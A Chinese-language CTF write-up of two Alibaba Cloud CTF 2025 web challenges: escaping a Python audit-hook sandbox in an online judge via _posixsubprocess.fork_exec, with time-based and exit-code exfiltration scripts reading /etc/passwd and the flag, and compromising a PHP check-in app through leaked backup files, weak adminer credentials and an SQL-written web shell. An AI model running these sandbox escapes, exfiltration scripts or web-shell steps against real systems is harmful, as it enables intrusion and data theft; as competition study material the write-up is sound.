阿里云CTF2025 ---Web
ezoj
啊?怎么整个五个算法题给CTF选手做??这我不得不展示一下真正的技术把测评机打穿。
可以看到源码
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
app = Flask(__name__)
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
class OJTimeLimitExceed(Exception):
pass
class OJRuntimeError(Exception):
pass
@app.route("/")
def index():
return send_file("static/index.html")
@app.route("/source")
def source():
return send_file("server.py")
@app.route("/api/problems")
def list_problems():
problems_dir = PROBLEMS_PATH
problems = []
for problem in problems_dir.iterdir():
problem_config_file = problem / "problem.json"
if not problem_config_file.exists():
continue
problem_config = json.load(problem_config_file.open("r"))
problem = {
"problem_id": problem.name,
"name": problem_config["name"],
"description": problem_config["description"],
}
problems.append(problem)
problems = sorted(problems, key=lambda x: x["problem_id"])
problems = {"problems": problems}
return jsonify(problems), 200
@app.route("/api/submit", methods=["POST"])
def submit_code():
try:
data = request.get_json()
code = data.get("code")
problem_id = data.get("problem_id")
if code is None or problem_id is None:
return (
jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
400,
)
problem_id = str(int(problem_id))
problem_dir = PROBLEMS_PATH / problem_id
if not problem_dir.exists():
return (
jsonify(
{"status": "ER", "message": f"Problem ID {problem_id} not found!"}
),
404,
)
code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
with open(code_filename, "w") as code_file:
code = CODE_TEMPLATE + code
code_file.write(code)
result = judge(code_filename, problem_dir)
code_filename.unlink()
return jsonify(result)
except Exception as e:
return jsonify({"status": "ER", "message": str(e)}), 500
def judge(code_filename, problem_dir):
test_files = sorted(problem_dir.glob("*.input"))
total_tests = len(test_files)
passed_tests = 0
try:
for test_file in test_files:
input_file = test_file
expected_output_file = problem_dir / f"{test_file.stem}.output"
if not expected_output_file.exists():
continue
case_passed = run_code(code_filename, input_file, expected_output_file)
if case_passed:
passed_tests += 1
if passed_tests == total_tests:
return {"status": "AC", "message": f"Accepted"}
else:
return {
"status": "WA",
"message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
}
except OJRuntimeError as e:
return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
except OJTimeLimitExceed:
return {"status": "TLE", "message": "Time Limit Exceed"}
def run_code(code_filename, input_file, expected_output_file):
with open(input_file, "r") as infile, open(
expected_output_file, "r"
) as expected_output:
expected_output_content = expected_output.read().strip()
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
process.kill()
raise OJTimeLimitExceed
if process.returncode != 0:
raise OJRuntimeError(process.returncode)
if stdout.strip() == expected_output_content:
return True
else:
return False
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
关键代码:
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
设置了白名单,只允许调用这几个事件
而我们写入的python代码也会拼接到这下面去执行, 如果不在这几个白名单里面就会直接 raise RuntimeError
, 而常规的那些想要执行系统命令的函数都不在这几个白名单里面, 所以需要绕过sys.addaudithook(audit_checker)
可以参照这篇文章
https://dummykitty.github.io/python/2023/05/30/pyjail-bypass-07-%E7%BB%95%E8%BF%87-audit-hook.html
构造使用python的系统底层函数 _posixsubprocess 创建子进程进行命令执行
_posixsubprocess.fork_exec 是 CPython 内部实现子进程的底层函数,属于 未暴露给标准审计事件 的底层调用。它直接通过系统调用(如 fork 和 execve)操作,绕过了高层抽象(如 subprocess 模块),因此不会触发类似 “subprocess.Popen” 的审计事件。
构造的payload:
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
本地尝试运行一下
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
print(f'[+] {event}, {args}')
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError('Operation not permitted: {}'.format(event))
sys.addaudithook(audit_checker)
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
确实没有触发到RuntimeError , 可以执行命令 ,但是因为环境是无回显的, 无法看到执行的命令的结果
刚开始第一个想法是想要将回显的结果写入到 /app/server.py 文件里面
因为这个文件可以通过 /source 路由查看, 但是一直没成功
以为是命令啥的有错误, 但是本地试了一下命令是没问题的, 可以写入文件, 可能题目是没有权限写吧, 所以一直没成功
_posixsubprocess.fork_exec(
[b"/bin/sh", "-c", b"/bin/ls / > 1.txt"],
[b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1,
*(os.pipe()), False, False, False, None, None, None, -1, None, False
)
后面又想是不是可以尝试时间盲注
就先让AI简单的写一下进行测试
import _posixsubprocess
import os
# 泄露/etc/passwd第一个字符是否为'r'(ASCII 114)
command = b"""
if [ $(head -c1 /etc/passwd | od -An -t u1) -eq 114 ]; then
sleep 5
fi
"""
_posixsubprocess.fork_exec(
[b"/bin/sh", "-c", command],
[b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1,
*(os.pipe()), False, False, False, None, None, None, -1, None, False
)
可以发现程序超时了, 进过几次尝试可以发现确实存在一个时间盲注的问题
然后就尝试跑一下看看
/flag
的情况
import _posixsubprocess
import os
command = b"""
if [ $(head -c1 /flag | od -An -t u1) -eq 97 ]; then
sleep 5
fi
"""
_posixsubprocess.fork_exec(
[b"/bin/sh", "-c", command],
[b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1,
*(os.pipe()), False, False, False, None, None, None, -1, None, False
)
试了好多次都发现没有用, 所以我当时就以为是不存在/flag
这个文件, 它应该是改了名字所以就没做下去了
看完wp后发现还可以用通配符来着, 当时给忘了, 有点蠢了
来自星盟团队的wp
import requests
from requests.exceptions import Timeout
# 配置常量
TARGET_URL = "url/api/submit"
HEADERS = {"Content-Type": "application/json"}
TIMEOUT_LIMIT = 5
CHAR_SET = "qwertyuiopasdfghjklzxcvbnm1234567890{}-"
SLEEP_DURATION = 10 # 用于触发超时的睡眠时间
class FlagBruteforcer:
def __init__(self):
self.session = requests.Session()
self.flag = ""
def _generate_payload(self, char: str) -> str:
"""构造盲注payload"""
position = len(self.flag) + 1
return (
f"if [ $(cat /f* | cut -c {position}) = '{char}' ]; "
f"then sleep {SLEEP_DURATION}; fi"
)
def _build_exploit_code(self, payload: str) -> dict:
"""构造包含payload的请求体"""
return {
"code": f"""import os
import _posixsubprocess
_posixsubprocess.fork_exec(
[b"/bin/bash", b"-c", b"{payload}"],
[b"/bin/bash"],
True,
(), None, None, -1, -1, -1, -1, -1, -1, *os.pipe(),
False, False, False, None, None, None, -1, None, False
)
input_str = input()
a, b = map(int, input_str.split())
print(a - b)""",
"problem_id": "0"
}
def _test_character(self, char: str) -> bool:
"""测试单个字符并返回是否触发超时"""
payload = self._generate_payload(char)
json_data = self._build_exploit_code(payload)
try:
response = self.session.post(
TARGET_URL,
headers=HEADERS,
json=json_data,
timeout=TIMEOUT_LIMIT
)
print(f"Response: {response.text}")
return False
except Timeout:
return True
def run(self):
"""主爆破逻辑"""
while True:
found = False
print(f"Current progress: {self.flag}|")
for char in CHAR_SET:
print(f"Testing: {self.flag}{char}")
if self._test_character(char):
self.flag += char
found = True
print(f"MATCH! Current flag: {self.flag}")
break
if not found:
print(f"flag: {self.flag}")
break
if __name__ == "__main__":
bruteforcer = FlagBruteforcer()
bruteforcer.run()
来自官方的wp:
import requests
URL = "http://121.41.238.106:59529/api/submit"
CODE_TEMPLATE = """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec(
(b"/bin/bash", b"-c", b"ls /"),
[b"/bin/bash"],
True,
(),
None,
None,
-1,
-1,
-1,
std_pipe[1], # c2pwrite
-1,
-1,
*(err_pipe),
False,
False,
False,
None,
None,
None,
-1,
None,
False,
)
time.sleep(0.1)
content = os.read(std_pipe[0], 1024)
content_len = len(content)
if {loc} < content_len:
sys.exit(content[{loc}])
else:
sys.exit(255)
"""
command = "ls /"
received = ""
for i in range(254):
code = CODE_TEMPLATE.format(loc=i, command=command)
data = {"problem_id": 0, "code": code}
resp = requests.post(URL, json=data)
resp_data = resp.json()
assert resp_data["status"] == "RE"
ret_loc = resp_data["message"].find("ret=")
ret_code = resp_data["message"][ret_loc + 4:]
if ret_code == "255":
break
received += chr(int(ret_code))
print(received)
打卡OK
没写好的系统怎么会打卡ok呢~
访问题目给的地址就自动跳转到了一个登录页面
不太可能会是弱口令能登录进去的, code也不知道是啥
用dirsearch扫描一下
可以发现一个/adminer_481.php
路由
(开始字典里面没有这个, 看完wp后手动加上去的,嘿嘿)
访问这个路由可以发现是一个数据库的登录页面
直接弱口令 root / root 可以登录进去
可以执行sql语句, 利用into outfile
写入shell到网站上去
访问写入的shell.php , 执行命令拿到flag
这道题目在用dirsearch扫描的时候可以扫到一个 index.php~
, 访问之后可以看到源码, 就可以基于这个尝试login.php~
发现也可以拿到源码, 里面有数据库的账号密码
然后读一下index.php
<?php
session_start();
if($_SESSION['login']!=1){
echo "<script>alert(\\"Please login!\\");window.location.href=\\"./login.php\\";</script>";
return ;
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>鎵撳崱绯荤粺</title>
<meta name="keywords" content="HTML5 Template">
<meta name="description" content="Forum - Responsive HTML5 Template">
<meta name="author" content="Forum">
<link rel="shortcut icon" href="favicon/favicon.ico">
<meta name="format-detection" content="telephone=no">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->
<nav class="panel-menu" id="mobile-menu">
<ul>
</ul>
<div class="mm-navbtn-names">
<div class="mm-closebtn">
Close
<div class="tt-icon">
<svg>
<use xlink:href="#icon-cancel"></use>
</svg>
</div>
</div>
<div class="mm-backbtn">Back</div>
</div>
</nav>
<main id="tt-pageContent">
<div class="container">
<div class="tt-wrapper-inner">
<h1 class="tt-title-border">
琛ュ崱绯荤粺
</h1>
<form class="form-default form-create-topic" action="./index.php" method="POST">
<div class="form-group">
<label for="inputTopicTitle">濮撳悕</label>
<div class="tt-value-wrapper">
<input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username'];?>">
</div>
</div>
<div class="pt-editor">
<h6 class="pt-title">琛ュ崱鍘熷洜</h6>
<div class="form-group">
<textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea>
</div>
<div class="row">
<div class="col-auto ml-md-auto">
<button class="btn btn-secondary btn-width-lg">鎻愪氦</button>
</div>
</div>
</div>
</form>
</div>
</div>
</main>
</body>
</html>
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
if(isset($_GET['debug_buka']))
{
$time=date($_GET['debug_buka']);
}else{
$time=date("Y-m-d H:i:s");
}
$arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
$check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
$cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
if (is_file($cachefile)) {
$data=file_get_contents($cachefile);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
$check="/var/www/html/".$checkdata['background'].".php";
include "$check";
}else{
include 'error.php';
}
}
?>
审计一下这个代码可以发现 "background"=>"ok"
$check="/var/www/html/".$checkdata['background'].".php";
所以也存在一个ok.php
再看这个 ok.php~
就可以拿到/adminer_481.php
路由了
参考文章
https://www.ctfiot.com/229032.html
https://blog.xmcve.com/2025/02/25/%E9%98%BF%E9%87%8C%E4%BA%91CTF2025-Writeup/